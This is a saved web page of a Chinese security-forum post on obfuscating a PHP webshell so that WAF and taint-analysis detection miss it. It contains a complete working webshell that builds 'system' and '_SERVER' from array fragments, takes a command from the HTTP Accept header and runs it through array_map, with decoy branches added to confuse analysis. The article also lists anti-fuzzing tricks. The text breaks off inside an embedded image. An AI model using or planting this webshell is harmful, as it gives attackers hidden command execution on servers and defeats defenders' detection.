* Font Awesome 4.3.0 by @davegandy - http://fontawesome.io - @fontawesome
* License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
*/@font-face{font-family:"FontAwesome";src:url(data:font/woff2;base64,d09GMgABAAAAAN3MAA4AAAAB3OQAAN1sAAQAxQAAAAAAAAAAAAAAAAAAAAAAAAAAP0ZGVE0cGh4GYACFQhEICobjZIW0WgE2AiQDkSoLiFwABCAFhwAHqx4/d2ViZgZbBYBxhnF7IVHRnVDqt/fSG4cZBbodREHF77duhex8Mb6j/fmp2f///78gWYzh7g+8R0BUdTpLW1Uzsp76hCzI4aYUR8pes2MocNQ2YvKKbApmLWu/bv7ALkc1B+aeVCsz1YrjaYsVnkxwJujIZWwn5gjVfIgmhc3in0QhmV5maXZNM1xTKb1RmAdM/OaNTl/mtoIrW/khyLhT5xe7bVH4fZGXVpFvuchr9JDG3Mcoh7mswgQxQVK8XUETf1CxbfHOtB+kxeznYk7Tc0VQvAs3ZHw4fkX+eKbZae3Ga4yTuqW4ivdfEynv1GrGUEu4OnTzzcjOrvA9euKJJn93ZAnl2I4SDS0d71OE52stez2NiwEECTzlA0CWsDwIHxnjUh747oQ+4/cPz8+ttyIXzTZiY4wxosaI3F8QvVEho0JSWt0kWiUlDEAMbFRUsJgZKGcUGHVmnTf/P6e9Zz8P5jE8wRUMwwiRViAUd39KoXMKlV2UsWpdN25qBwAP0n35Mpmf+bvg9ZtKfIuWauEin8QFPnQhqjHdubkgORdjw60F1Hm3BRSOpS8r3c6XU/9/JMdJqrGKafqQYMBQSgy6BEkN2ozu0jp/p5EMSdFJDElKASzB5dwOFDbt5x1Rt2WVqTHYdx+5Xp9Ufm9KBtkmlgURoo8tj////Z9a0ixLyWLsAGIB+Eoqp6lnC5QCOfox/PnFQ4BJkcOC2NkzE2qySKkd7EB0X2SssjuTJ374/zn7zhne2jm7fiUkyEiwBGin9SnjfqWFGqXyrNPtdoTk/iS7nvwSR9pOTPBCIAlSpUo50teOPKprzxRrm9+ChuQfqzJE8Bbl26JpGFbqfrX84LxQBx3aIebKK51pt3LCe3dPaIcrAGrDFXAd7qRJJ7W7e7L0z7L00hPYSSrgWlB0qYKDoXOBwQPRquJvWcPzc+sBI3pUj9GjxgIGG+yvAlaMBaxgY2PUYERvgIiAEiaIJ1NUPDFQwcLAujTqTr1QLioZ3GbIHTEdYnpCesfDy9dvB4B4+Vba/vPP6au23oy0eHeVXxgzGuGtTG1zt4lDgpCDCDHInDqlDmgAeK+jJZIEuJ9bmCpbL8Z0vvFwr84+jRRnNzOSkyPg6srryLIDS/CREjejVnMMEDioCIrqv3XCmO6lA/N4Lf1ua0oVVekIinqBkbCY5N/3nRqiAWisW2xsNBbsUxu11kXxz8lWB4c3sN3ekYiAEGAAByO382+qZQuQxImXstYh60J3LrpdOaX23OWinx9mwP//fAAzA5CcGYAkAFIiAEriDAiJAMndAQjqAJCgKWrvHpebtWs/re72nVaXEjCgtAQp6RHUJspJ2gupsq9yyLHo/Vy5u+v8rqhclS5d2qVdtLX/3nRVKsauMS47Z4JoNru6yNjUBvn73WqpW0jQLWxLIxDCSgwlBzcSzMxJwozQOiGBVpiZtY7hnPstYGiNbWEF5wTrxFmYdcxak56xPgku3HDDS8ILnYkuDi8MnQvCI3jcT216ZaMrjPl5GWYAIByhr51xVXZju0G5EtXIfqYwq7s4NLhgeu2nvYsxpRohhSTYCoItYM27+X/m/PxE6+tJNw9faWYRRohBDMIYh3z8h1yy6QEzqRlrM0ghSOsQ+ShkO2LOCgqadP5MQjyDih2k2EHqttndgXsdI1Oga0jEvEe50TXItrpN9NIEBcQhscEo44wiaoTxcU2AAvxdwsQC+Ppw/kum+fD5u8BrSYNSgIiihg2AMccnArqsYJ2gmNlhnADg/vHOjV6AesO+/MmrlN8grD8CAnD8ERERq2e4xrw61HwHQX8hVkPGCIADEJRmLCNsYzeTnAWcZnbH7osIzSEbGYvULv/7qJdPYalrqK/xvNrG/vmB3hmw4yOMWoM+4zyt158PeG80n4NP5BkGyRJu62dDPTINSpg2S/aEQH1fYmH9GoDFAURIy8JOAPQ+olD/RszU+DcQnfyXjKqKpWkxC3B+cn7qu+8P/zw8HGWmGhXmmMGhgEUOgwwppiB4OIEDmIPxlOSe+zqPfVuXeRqHvhveVZsW/nw1V6A6M4KhLcWhuFu/4O3fRKWuHfUc9G7G94SL4vR/rZ8Ub5iZP5cz9tlk/wtG9+s3PxmuMdIjm1qu7k+tQYQCZTRkuAtSmLSs0uOxI64zaboh3cTIf720EgwvjBKMYQmjxBNnkRyxseNc0nKZeZURGC+VioZVLFpliSPBSR6sepFcJRcWptiE61cRFstAMUgzXiIy9GFHp+YbdyPuTxi7mhkEy8HFEDtgQNiOpK3nWM1fDipB52FSVfCgaWZDZnBCmAEeY8qnhJXDtZpO3WARXEKSWONEF/OsMAUcncfXXJFOO07iwB9ZEC0Rx0w1XBF7LMNQps6RTRBgUkR4wysExmnkzVyanU2yQYoszPOCt7CyWSNhx2qJx6pQUFg9hF2rc4J4PRPD0s0/9mU9Xqti6iyt5m0wwu0LiQ7ss4x0xMnZYuElJ+YetZyQxFx641j/Yal5weLc8H/4fYKnutlzOe9R93rRMaSyJxXDwDOMtpVPhX8gHQkPZmFUmIukZ5itm4mgwdiCoXPLPt00dun4zJgyQ9WC7G9fKMSWv+rce6CmkNdcMj+29sKV6uuvzwGeYccKULEvDBbrFO98vT95Kr/X7EtB7aHcN4I8HwSyFyfYSQs5dWoQETxfhzg8XPRHDn4aAy4I0jgMd/YKhhTQGIIUaXr2SIGtQ7a8shpQ3Kd5HJl3uSm6jiggOo0lmJgU7BnW+tsbN8Ytnz/NF85mdb1xJBbSr53bKHWNFTs3NfjC7NyZs68AVT/AmfztCK2JuKyYoe3JQOL1Ez4+e4nP3Tznw51cp8n/f29xXJIeDFoytH2UdswpLxZj5TQ/jKFp0HleHN6iBgbGIDNIoG0AbzSe+hYvI/CmIZ9/+tzFx4LT+VwmKJiHptTdPu9IqvO/cQB4Z8WYj9vFB3NNh/CqqTs3L8sqbfk18wPSsZY1c3ac68eisCvjt+6GslRjWA1Zxq+qdEAqc7sJOkCYAQZdZAG6Znb2s8hRfrlyeWqbnEMQ6RI2UMe1AQiF2QdBy28lB0y3Y9QUnneWbXwuEZlXIjGOWtQT75f9QOantcglVhUBA9/nscgFUqkPfpE3sEQNV0z5MgnVbqu6yqG0r1FihEcFynAafHXrm5sP+HRIVMrrc83SlwaAHpUNNtGUAG/NorLNojJrBbedljpgk7Y8n6QG7/0NlwJtE+j0URxOmtVfeGtPSSRmNoSRyVr0HTRbX6Vk74l5MrdxqLL/wsT+m8xKkTi52Q2Vbxac4ZGt4Arfhrgb/AND4tFY3Xm/Toh0KeIA86aziD28hvsDsGZM3xLKLrjCGsjCSanjTV/lp53WIUI5X7DkOtim0kaMQABwbaw1JvjjCooVnahJrl2NbeOlHmQesdeWcDDm151Uw4itkyRyhHa+o8AqzpAolQfERlyYrXU8TcoyZc3bc2TTc9bOxCSFlgOR+CCm78ShGPMgUNHUVT+NGMgx9p5S8ojoislOGDXJ/HWbpevnAhZjcJG83YRHZrg4cCyLbyfJZI3zAA43Mui7Z//EogzN/udIIqnSdh6czyF/f34cAaTNOCJtklgk8XEIm2roZAY9panWtZblERHrIhdamihzQ9G2dGx+KoTBSBdtWsddqEJaROCI9aSpbRbbKkm2iJSmPo9YyQRe6KnaxDO5/G4Kofm8n6jc6PLyujtlEPm9TWjKBUTWEmENgIcjSPJu8Kez/W0AQSD+uunlV58AGIOEAnOKGdJJPzDL9PHxvFpS0+BkDk/hBSfK9wOjj9+TiDzPD9nA03EcaR0V+XC5e98nuyq4N5VTHJYHXyrmvTNVz2v8PaVPXoRE184+h7lQcjXseY0bfJd/5ctB
<style>.highlight .k{color:#204a87;font-weight:bold}.highlight .n{color:#000000}.highlight .o{color:#ce5c00;font-weight:bold}.highlight .x{color:#000000}.highlight .p{color:#000000;font-weight:bold}.highlight .cm{color:#8f5902;font-style:italic}.highlight .cp{color:#8f5902;font-style:italic}.highlight .c1{color:#8f5902;font-style:italic}.highlight .s{color:#4e9a06}.highlight .nb{color:#204a87}.highlight .nf{color:#000000}.highlight .nv{color:#000000}.highlight .mi{color:#0000cf;font-weight:bold}.highlight .sc{color:#4e9a06}.highlight .s2{color:#4e9a06}.highlight .s1{color:#4e9a06}</style>
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media (max-width:800px){}</style>
<!--[if lte IE 8]>
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
<![endif]-->
<!--[if !IE]> -->
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}12%{box-shadow:100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}25%{box-shadow:110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0),0px 0 rgba(255,255,255,0)}36%{box-shadow:120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color),0px 0 rgba(255,255,255,0)}50%{box-shadow:130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color),100px 0 var(--loading-color)}62%{box-shadow:200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color),110px 0 var(--loading-color)}75%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color),120px 0 var(--loading-color)}87%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),130px 0 var(--loading-color)}100%{box-shadow:200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0),200px 0 rgba(255,255,255,0)}}@media screen and (max-width:768px){}@media screen and (max-width:768px){}@keyframes image-loading-rotate{from{transform:rotate(360deg)}to{transform:rotate(0deg)}}</style><meta name=referrer content=no-referrer><link rel=icon href="data:image/x-icon;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAMAAABEpIrGAAAABGdBTUEAALGPC/xhBQAAAAFzUkdCAK7OHOkAAADDUExURUxpcVVVVUNDVT5CTz1BUEBVVT1BUD1BTz5CTz5GT0BDUVVVVT5CTz5BUj1CTz5BT05OYj1CUD5GVUJCUj5CUD5BTz5BT0lJbT5CUEJCVT9DUUBHVT5CUD5CTz9CUD5BTz1BTz5CUEREUz5CUD5BUD5DTz5CUD5BT0BDUT5CTz1CUD5EUUBgYEBDUT5CUT1CTz1BUD5BUD9DUT1CT0REVT5BUENDUT1BUEBGUz1BUD9DT0FBUz1CTz5BTz1CUD1BUD1BT5JdbS4AAABAdFJOUwAJKr76DPbywR1MBuRO5fsNsyEfvdtKB4MbfiTa+FnegYwitbBXfPdYrt0pCEiL9XmsRdgeVhO8KI2KK45a2b/ePQx7AAAAwUlEQVQ4y4XTxw7CQAwE0A2E0BN67733Xv3/X4U0kYgimKxP9vgdfNhVildaBVfmpQGPaPD+7mjAW74g5q8Ewqd4QHy1T+JCm4IdsqswsEUUchhYHxCFhYENkpYw0MCFEZuCJYKuMDB1LzQZsPLehX/BCONEGCiWcWGKghKmlTAwwDA3GbByGArCQA39UBiYLfwX/gD3mdyEgSy6i8nAuIfuLAx00ByFgbaB5hT3VdUDmk8mfc0fa9Y1oKLZKyNo+QEJQV3gLnHrKwAAAABJRU5ErkJggg==" type=image/x-icon><style>.sf-hidden{display:none!important}</style><link rel=canonical href="https://xz.aliyun.com/t/15857?time__1311=GqjxnDgDy0305DK5YKPiKmPWueQunBLwbD"><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
<body>
<div class="navbar navbar-default">
<div class=navbar-inner>
<div class=container style=text-align:center;position:relative>
<!--[if lte IE 8]>
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验请使用IE10及以上版本</span>
<![endif]-->
<div class=brand-box>
<a class=brand href=https://xz.aliyun.com/tab/1></a>
</div>
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F15857&amp;from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
登录</a>
<div class="nav-collapse collapse">
<div class="search d1 text-right">
<form action=/search>
<input type=text placeholder=搜索 name=keyword value>
</form>
</div>
</div>
</div>
</div>
</div>
<div id=Wrapper class=container>
<div class=row2>
<div class=span10>
<div class="row box content" width="1200px !important" style=width:1200px>
<div class=box-container>
<div class=main-topic>
<div class="clearfix user-info topic-list">
<p><span class=content-title>基于增加复杂逻辑数组混淆的webshell绕过</span>
</p>
<div class=topic-info>
<span class=info-left>
<a href=https://xz.aliyun.com/u/94613>
<span class="username cell"> 1341025112991831</span></a> <span class=i-seprator> / </span>
<span> 2024-10-15 09:41:56</span><span class=i-seprator> / </span>
<span>发表于四川 / </span>
<span>浏览数 201</span>
<span class=content-node>
<span class="label label-default label-node-first">
<a href=https://xz.aliyun.com/tab/1>技术文章</a></span>
<span class="label label-default">
<a href=https://xz.aliyun.com/node/11>技术文章</a></span>
</span>
</span>
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
顶(0)</a>
<a class="vote vote-down" href=javascript:void(0)>
踩(0)</a></span>
</div>
</div>
<hr>
<div id=topic_content class="topic-content markdown-body">
<h1>基于增加复杂逻辑数组混淆的webshell绕过</h1>
<h2 id=toc-0>前言</h2>
<p>最近也是研究起了绕过webshell的学习说实话绕过waf很不容易因为对webshell研究少底层也少只能目前用逻辑和混淆了</p>
<h2 id=toc-1>webshell检测机制</h2>
<p>如果需要知道如何进攻那就需要知道该如何去防御首先就开始慢慢摸索webshell的检测机制了</p>
<h3 id=toc-2>对于全局变量</h3>
<p>我们的全局变量常见的有</p>
<ul>
<li><code>$_GET</code></li>
<li><code>$_POST</code></li>
<li><code>$_COOKIE</code></li>
<li><code>$_REQUEST</code></li>
<li><code>$_SERVER</code> 其中的某些参数可控</li>
<li><code>$_FILE</code></li>
<li>$GLOBALS</li>
</ul>
<p>如果我们使用了这些传入参数那么webshell检测就会把传入的参数作为source了被标记后续会持续跟踪</p>
<h3 id=toc-3>特殊字符</h3>
<p>比如我们执行命令的systemeval等等这些字符也会检测参数</p>
<p>总的来说就是污点分析,跟踪</p>
<h3 id=toc-4>绕过方法</h3>
<p><a href=https://zone.huoxian.cn/d/878 target=_blank>https://zone.huoxian.cn/d/878</a></p>
<ol>
<li>SpeedBump, which amplifies the slowdown in normal executions by hundreds of times to the fuzzed execution 在一些非预期的错误处理路径注入延迟原语影响Fuzz执行速度</li>
<li>BranchTrap, interfering with feedback logic by hiding paths and polluting coverage maps。<br>
插入大量对输入敏感的分支使得Fuzz处理不得不浪费大量的资源处理这些无用的分支分析中</li>
<li>AntiHybrid, hindering taint-analysis and symbolic execution。<br>
作者将原始程序中的explicit data-flow转换为implicit data-flow以阻碍污染分析。</li>
</ol>
<h2 id=toc-5>具体案例</h2>
<p>根据一个案例来介绍一下机制</p>
<p>比如今天构造的一个webshell</p>
<div class=highlight><pre><span></span><span class=cp>&lt;?php</span>
<span class=nv>$records</span> <span class=o>=</span> <span class=k>array</span><span class=p>(</span>
<span class=k>array</span><span class=p>(</span>
<span class=s1>'id'</span> <span class=o>=&gt;</span> <span class=s2>"array"</span><span class=p>,</span>
<span class=s1>'first_name'</span> <span class=o>=&gt;</span> <span class=s1>'_'</span><span class=p>,</span>
<span class=s1>'last_name'</span> <span class=o>=&gt;</span> <span class=s1>'sy'</span><span class=p>,</span>
<span class=p>),</span>
<span class=k>array</span><span class=p>(</span>
<span class=s1>'id'</span> <span class=o>=&gt;</span> <span class=s2>"_"</span><span class=p>,</span>
<span class=s1>'first_name'</span> <span class=o>=&gt;</span> <span class=s1>'SER'</span><span class=p>,</span>
<span class=s1>'last_name'</span> <span class=o>=&gt;</span> <span class=s1>'s'</span><span class=p>,</span>
<span class=p>),</span>
<span class=k>array</span><span class=p>(</span>
<span class=s1>'id'</span> <span class=o>=&gt;</span> <span class=s2>"ma"</span><span class=p>,</span>
<span class=s1>'first_name'</span> <span class=o>=&gt;</span> <span class=s1>'VE'</span><span class=p>,</span>
<span class=s1>'last_name'</span> <span class=o>=&gt;</span> <span class=s1>'t'</span><span class=p>,</span>
<span class=p>),</span>
<span class=k>array</span><span class=p>(</span>
<span class=s1>'id'</span> <span class=o>=&gt;</span> <span class=s2>"p"</span><span class=p>,</span>
<span class=s1>'first_name'</span> <span class=o>=&gt;</span> <span class=s1>'R'</span><span class=p>,</span>
<span class=s1>'last_name'</span> <span class=o>=&gt;</span> <span class=s1>'em'</span><span class=p>,</span>
<span class=p>)</span>
<span class=p>);</span>
<span class=nv>$last_names</span> <span class=o>=</span> <span class=nb>array_column</span><span class=p>(</span><span class=nv>$records</span><span class=p>,</span> <span class=s1>'last_name'</span><span class=p>);</span>
<span class=nv>$first_names</span> <span class=o>=</span> <span class=nb>array_column</span><span class=p>(</span><span class=nv>$records</span><span class=p>,</span> <span class=s1>'first_name'</span><span class=p>);</span>
<span class=nv>$a</span><span class=o>=</span><span class=s2>"123123123123123"</span><span class=p>;</span>
<span class=nb>parse_str</span><span class=p>(</span><span class=nv>$a</span><span class=o>=</span><span class=nb>implode</span><span class=p>(</span><span class=s1>''</span><span class=p>,(</span><span class=nb>array_column</span><span class=p>(</span><span class=nv>$records</span><span class=p>,</span> <span class=s1>'id'</span><span class=p>))),</span> <span class=nv>$aarryy</span><span class=p>);</span>
<span class=nv>$string1</span> <span class=o>=</span> <span class=nb>implode</span><span class=p>(</span><span class=s1>''</span><span class=p>,</span> <span class=nv>$last_names</span><span class=p>);</span>
<span class=nv>$string2</span> <span class=o>=</span> <span class=nb>implode</span><span class=p>(</span><span class=s1>''</span><span class=p>,</span> <span class=nv>$first_names</span><span class=p>);</span>
<span class=nv>$array</span><span class=o>=</span><span class=k>array</span><span class=p>();</span>
<span class=nb>array_push</span><span class=p>(</span><span class=nv>$array</span><span class=p>,</span><span class=nv>$string1</span><span class=p>,</span><span class=nv>$string2</span><span class=p>);</span>
<span class=k>if</span><span class=p>(</span><span class=mi>1</span><span class=o>===</span><span class=nv>$_GET</span><span class=p>[</span><span class=mi>1</span><span class=p>]){</span>
<span class=nv>$c</span><span class=o>=</span><span class=mi>123</span><span class=p>;</span>
<span class=p>}</span><span class=k>else</span><span class=p>{</span>
<span class=nv>$c</span><span class=o>=</span><span class=nv>$$string1</span><span class=p>[</span><span class=s1>'HTTP_ACCEPT'</span><span class=p>];</span>
<span class=p>}</span>
<span class=k>if</span><span class=p>(</span><span class=nb>intval</span><span class=p>(</span><span class=nv>$_GET</span><span class=p>[</span><span class=mi>1</span><span class=p>])</span><span class=o>&gt;</span><span class=mi>1</span><span class=p>){</span>
<span class=nv>$f</span><span class=o>=</span><span class=k>array</span><span class=p>(</span><span class=s2>"nhao"</span><span class=o>=&gt;</span><span class=nv>$c</span><span class=p>);</span>
<span class=nb>extract</span><span class=p>(</span><span class=nv>$f</span><span class=p>);</span>
<span class=p>}</span>
<span class=nb>array_push</span><span class=p>(</span><span class=nv>$array</span><span class=p>,</span><span class=nv>$nhao</span><span class=p>);</span>
<span class=k>if</span><span class=p>(</span><span class=s2>"a"</span><span class=o>===</span><span class=nv>$a</span><span class=p>(</span><span class=nv>$array</span><span class=p>[</span><span class=mi>0</span><span class=p>],</span><span class=k>array</span><span class=p>(</span><span class=nv>$array</span><span class=p>[</span><span class=nb>rand</span><span class=p>(</span><span class=mi>0</span><span class=p>,</span><span class=mi>2</span><span class=p>)]))){</span>
<span class=k>echo</span> <span class=mi>1</span><span class=p>;</span>
<span class=p>}</span>
</pre></div>
<p>可以看见逻辑还是比较复杂的,这里简单介绍一下这些函数的作用</p>
<p><strong>array_column</strong></p>
<p>(PHP 5 &gt;= 5.5.0, PHP 7, PHP 8)</p>
<p>array_column — 返回输入数组中指定列的值</p>
<p><strong>array_column()</strong> 返回 <code>array</code> 中键名为 <code>column_key</code> 的一列值。 如果指定了可选参数 <code>index_key</code>,则使用输入数组中 <code>index_key</code> 列的值将作为返回数组中对应值的键。</p>
<div class=highlight><pre><span></span><span class=o>&lt;?</span><span class=n>php</span>
<span class=c1>// 表示从数据库返回的记录集的数组</span>
<span class=n>$records</span> <span class=o>=</span> <span class=n>array</span><span class=o>(</span>
<span class=n>array</span><span class=o>(</span>
<span class=err>'</span><span class=n>id</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=mi>2135</span><span class=o>,</span>
<span class=err>'</span><span class=n>first_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>John</span><span class=err>'</span><span class=o>,</span>
<span class=err>'</span><span class=n>last_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Doe</span><span class=err>'</span><span class=o>,</span>
<span class=o>),</span>
<span class=n>array</span><span class=o>(</span>
<span class=err>'</span><span class=n>id</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=mi>3245</span><span class=o>,</span>
<span class=err>'</span><span class=n>first_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Sally</span><span class=err>'</span><span class=o>,</span>
<span class=err>'</span><span class=n>last_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Smith</span><span class=err>'</span><span class=o>,</span>
<span class=o>),</span>
<span class=n>array</span><span class=o>(</span>
<span class=err>'</span><span class=n>id</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=mi>5342</span><span class=o>,</span>
<span class=err>'</span><span class=n>first_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Jane</span><span class=err>'</span><span class=o>,</span>
<span class=err>'</span><span class=n>last_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Jones</span><span class=err>'</span><span class=o>,</span>
<span class=o>),</span>
<span class=n>array</span><span class=o>(</span>
<span class=err>'</span><span class=n>id</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=mi>5623</span><span class=o>,</span>
<span class=err>'</span><span class=n>first_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Peter</span><span class=err>'</span><span class=o>,</span>
<span class=err>'</span><span class=n>last_name</span><span class=err>'</span> <span class=o>=&gt;</span> <span class=err>'</span><span class=n>Doe</span><span class=err>'</span><span class=o>,</span>
<span class=o>)</span>
<span class=o>);</span>
<span class=n>$first_names</span> <span class=o>=</span> <span class=n>array_column</span><span class=o>(</span><span class=n>$records</span><span class=o>,</span> <span class=err>'</span><span class=n>first_name</span><span class=err>'</span><span class=o>);</span>
<span class=n>print_r</span><span class=o>(</span><span class=n>$first_names</span><span class=o>);</span>
<span class=o>?&gt;</span>
</pre></div>
<p>所以我这里就使用这个函数来构造我们的恶意代码比如system</p>
<p>但是首先只是取出了数组的值,我们还需要使用一些方法把他们拼接在一起</p>
<p><strong>implode</strong></p>
<p>implode — 用字符串连接数组元素</p>
<p>返回一个包含所有数组元素并且顺序相同的字符串, 每个元素之间有 separator 分隔。</p>
<div class=highlight><pre><span></span><span class=o>&lt;?</span><span class=n>php</span>
<span class=n>$array</span> <span class=o>=</span> <span class=o>[</span><span class=err>'</span><span class=n>lastname</span><span class=err>'</span><span class=o>,</span> <span class=err>'</span><span class=n>email</span><span class=err>'</span><span class=o>,</span> <span class=err>'</span><span class=n>phone</span><span class=err>'</span><span class=o>];</span>
<span class=n>var_dump</span><span class=o>(</span><span class=n>implode</span><span class=o>(</span><span class=s>","</span><span class=o>,</span> <span class=n>$array</span><span class=o>));</span> <span class=c1>// string(20) "lastname,email,phone"</span>
<span class=c1>// Empty string when using an empty array:</span>
<span class=n>var_dump</span><span class=o>(</span><span class=n>implode</span><span class=o>(</span><span class=err>'</span><span class=n>hello</span><span class=err>'</span><span class=o>,</span> <span class=o>[]));</span> <span class=c1>// string(0) ""</span>
<span class=c1>// The separator is optional:</span>
<span class=n>var_dump</span><span class=o>(</span><span class=n>implode</span><span class=o>([</span><span class=sc>'a'</span><span class=o>,</span> <span class=sc>'b'</span><span class=o>,</span> <span class=sc>'c'</span><span class=o>]));</span> <span class=c1>// string(3) "abc"</span>
<span class=o>?&gt;</span>
</pre></div>
<p>那我们这里的思路就是一’‘去拼接在一起</p>
<p>这样我们的恶意字符就构造出来了</p>
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20241015094136-9dda5700-8a96-1.png><img src=data:image/png;base64,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